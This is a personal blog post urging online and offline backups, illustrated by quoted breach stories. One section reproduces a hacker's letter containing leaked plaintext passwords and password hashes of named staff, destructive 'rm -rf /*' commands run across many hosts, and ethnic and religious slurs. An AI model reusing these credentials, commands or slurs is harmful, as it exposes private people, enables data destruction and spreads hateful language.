Why are backups important? Here are some horror stories - and why it is so vital to take all kinds of backups - online and offline. Here I have been making complete backups of all user accounts, downloading, then burning to DVD weekly for about the past month (before that it was less structured). Looked tonight at also using online backup services with rsyncpalace - will be setting this up the next few days so there is additional redundancy, and if needed faster recovery - as uploading from home is around 125MB/hour - a Gigabyte takes around 7 hours. Additionally at home, I have a backup made nightly in my home computer (differential backup - just what changed that day - copied to another drive - and I keep 10 days worth of changes).


Here are 4 articles - would like to collect more - about different reasons folks have failed - this is to learn from. We all make mistakes and if we can learn from others, then all is not wasted.

1. Offline backups - make backups on tapes/DVD's/unplugged external drives

AVSIM: From Slashdot

Flight Simulator community website Avsim has experienced a total data loss after both of their online servers were hacked. The site's founder, Tom Allensworth, explained why 13 years of community developed terrains, skins, and mods will not be restored from backups: 'Some have asked whether or not we had back ups. Yes, we dutifully backed up our servers every day. Unfortunately, we backed up the servers between our two servers. The hacker took out both servers, destroying our ability to use one or the other back up to remedy the situation.'

2. Mirrored Hard Drives not a backup solution

JournalSpace:
From Slashdot:

"Journalspace.com has fallen and can't get up. The post on their site describes how their entire database was overwritten through either some inconceivable OS or application bug, or more likely a malicious act. Regardless of how the data was lost, their undoing appears to have been that they treated drive mirroring as a backup and have now paid the ultimate price for not having point-in-time backups of the data that was their business." The site had been in business since 2002 and had an Alexa page rank of 106,881. Quantcast said they had 14,000 monthly visitors recently. No word on how many thousands of bloggers' entire output has evaporated.

3. Again, make and keep offline backups

Web Hosting Talk - hacked via backups: (From Slashdot)

"A few days ago one of the Web's largest hosting discussion forums was supposedly hacked via their backup servers. From the story: 'We've since learned that this very deliberate, sophisticated and calculated hack against Web Hosting Talk was carried out by gaining access to our offsite backup servers. From our backup servers, the hacker gained access to the WHT db server. The malicious attacker deleted all backups from the backup servers within the infrastructure before deleting tables from our db server. We were alerted of the db exploitation and quickly shut down the site to prevent further damage.' What sort of security do you put on your backup infrastructure? Looking at your backup solution could you be completely taken down by either someone obtaining a backup or accessing your backup servers? What sort of recommendations does everyone have for this not to happen?"

4. General Security, don't re-use passwords.

Here a major hosting provider had roughly 50% of their client data erased, taking out 100,000 websites.

A copy of the Letter posted here

Z3r0 day in hypervm?? plz u give us too much credit. If you really really wanna know how you got wtfpwned b***h it was ur own stupidity and excessive passwd reuse. Rus's passwds are
Code:

e2×2%sin0ei unf1shf4rt 3^%3df 1/2=%mod5 f0ster

f0ster being the latest one, quite secure eh b****es? We were in ur networks sniffing ur passwds for the past two months quite funny this openvz crap is we could just get into any VPS we like at any time thanks to ur mad passwds. But we got bored so we decided to initiate operation rmfication and hypervm was a great t00l to do that since it spared us the time of sshing into all ur 200 boxen just to issue rm -rf. Coded a little .pl to do just that, take a look at this eleet output it's mad dawg
Code:

[root@vz-vaserv .ssh]# perl h.pl -user admin -pass ****off -host cp.vaserv.com -cmd 'rm -rf /* 2> /dev/null > /dev/null &'

* Attempting to login using admin / ****off
* Logged in, showtime!

Output for 67.222.156.106
Output for xen3ws.vaserv.com
Output for vz22uk.vaserv.com
Output for xen4ws.vaserv.com
Output for vzspecial5.vaserv.com
Output for xen16.vaserv.com
Output for vz77uk.vaserv.com
Output for 91.186.26.128
Output for xen25.vaserv.com
Output for vz76uk.vaserv.com
Output for vz18tx.vaserv.com
Output for vz75uk.vaserv.com
Output for vz45uk.vaserv.com
Output for vzpent16.vaserv.com
Output for xen1tx.vaserv.com
Output for vz13tx.vaserv.com
Output for vz74uk.vaserv.com
Output for vzspecial8.vaserv.com
Output for xen24.vaserv.com
Output for vz73uk.vaserv.com
Output for rdns1.vaserv.com
Output for vz2tx.vaserv.com
Output for vz17tx.vaserv.com
Output for xen23.vaserv.com
Output for vz72uk.vaserv.com
Output for xen22.vaserv.com
Output for vzruffbuff.vaserv.com
Output for vzmario.vaserv.com
Output for xen21.vaserv.com
Output for vz71uk.vaserv.com
Output for vzspecial7.vaserv.com
Output for vz70uk.vaserv.com
Output for xen20.vaserv.com
Output for vz69uk.vaserv.com
Output for vzspecial6.vaserv.com
Output for vz7uk.vaserv.com
Output for vzspecial4.vaserv.com
Output for vzspecial3.vaserv.com
Output for xen19.vaserv.com
Output for vzspecial2.vaserv.com
Output for vzspecial1.vaserv.com
Output for vzpent3.vaserv.com
output truncated due to massive boxen outputz
[root@vz-vaserv .ssh]# rm -rf /* > /dev/null 2> /dev/null &
[1] 12399
[root@vz-vaserv .ssh]#

Did the same fo ****vps.com after resetting the passwd to hyper ve emz, it was ever so much fun you should try it sometime Rus it's GREAT!
BTW to all the customers we deleted ur loving provider is overselling their crappy 8gb nodez to hell and back, thought you'd like to know, you can also thank ur loving buddy Rus for losing ur data hihi. BTW Rus we still have ur billing system wtfpwned and baqdoored we got shitload of CCz from ur retarded customers thanks a lot buddy. Telling you this cuz we got bored of this ****, it's just too easy and monotonous so patch ur crap, if your too dumb to secure a simple web server my rate is $100/hour or one night with ur sister hauhaiahiaha.
Also wheres ur team Rus? the only ****ers i saw in ur billing sys are Kody, Vlada and u you guys work like ****ing hindus i bet but ur cheap like jews lolz hire some pros like me to help you out manage all those retards VPSs lolololl
Code:

1 1 rghf c32f3310baffcb431875a67196e99ebd Rus F zswlxxoomx@nowmymail.com 0 ,
Edit Delete 3 1 vlada c32f3310baffcb431875a67196e99ebd Vlada Neskovic zswlxxoomx@nowmymail.com 0 ,
Edit Delete 4 1 Kody fde67637d867c52d739931528dd92ef0 Kody Riker zswlxxoomx@nowmymail.com Georgia - server22 space 1slot 1gb 0 ,

See we care about ur privacy and edited ur emailz unlike you who do not care about the privacy of ur retarded customers lol
Code:

Showing rows 0 - 29 (1,361 total, Query took 0.0133 sec)
SELECT *
FROM `tblclients`
LIMIT 0 , 30

Fun stuff think we gonna sell all those emails to some spammers to make some quick bucks lol, and yes their main site was a VPS lolol which is why we got quick access thanks to ur passwd reuse, your awesome Rus.

Yea yea "his IP is:64.79.210.78″ here i saved u the trouble lolol
Code:

-bash-3.2# ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:16271 errors:0 dropped:0 overruns:0 frame:0
TX packets:16271 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1114930 (1.0 MiB) TX bytes:1114930 (1.0 MiB)

venet0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:127.0.0.1 P-t-P:127.0.0.1 Bcast:0.0.0.0 Mask:255.255.255.255
UP BROADCAST POINTOPOINT RUNNING NOARP MTU:1500 Metric:1
RX packets:33396 errors:0 dropped:0 overruns:0 frame:0
TX packets:34122 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4462516 (4.2 MiB) TX bytes:11170841 (10.6 MiB)

venet0:0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:64.79.210.78 P-t-P:64.79.210.78 Bcast:64.79.210.78 Mask:255.255.255.255
UP BROADCAST POINTOPOINT RUNNING NOARP MTU:1500 Metric:1

venet0:1 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:64.79.206.197 P-t-P:64.79.206.197 Bcast:64.79.206.197 Mask:255.255.255.255
UP BROADCAST POINTOPOINT RUNNING NOARP MTU:1500 Metric:1

venet0:2 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:67.223.225.52 P-t-P:67.223.225.52 Bcast:67.223.225.52 Mask:255.255.255.255
UP BROADCAST POINTOPOINT RUNNING NOARP MTU:1500 Metric:1

-bash-3.2# rm -rf /* 2> /dev/null > /dev/null * &
[1] 7643
-bash-3.2#

I love to rm lol bye

~Thedefaced.org

5. Wireless Security

One of my favorites - because of what can be learned. TJ Max - whatever the real issue, they were hacked and account and credit card details for 45 million customers was stolen. More here

.. In the end

Its crucial to use https/ssh for sensitive access, and encrypted wireless (hackers can they sniff over unencrypted wireless at a internet cafe - its very easy). Also, use a machine that you trust to be clean - not a friends Windows XP spyware infected mess. Additionally, use different passwords in different places, as much as practical, also - do not write them on paper - use a password safe like keepass

Most of the time, backups take some work to setup, and do consume a bit of time, but the payoff for me so far has been worth it, plus I sleep better knowing if something happens, I have a recent copy somewhere..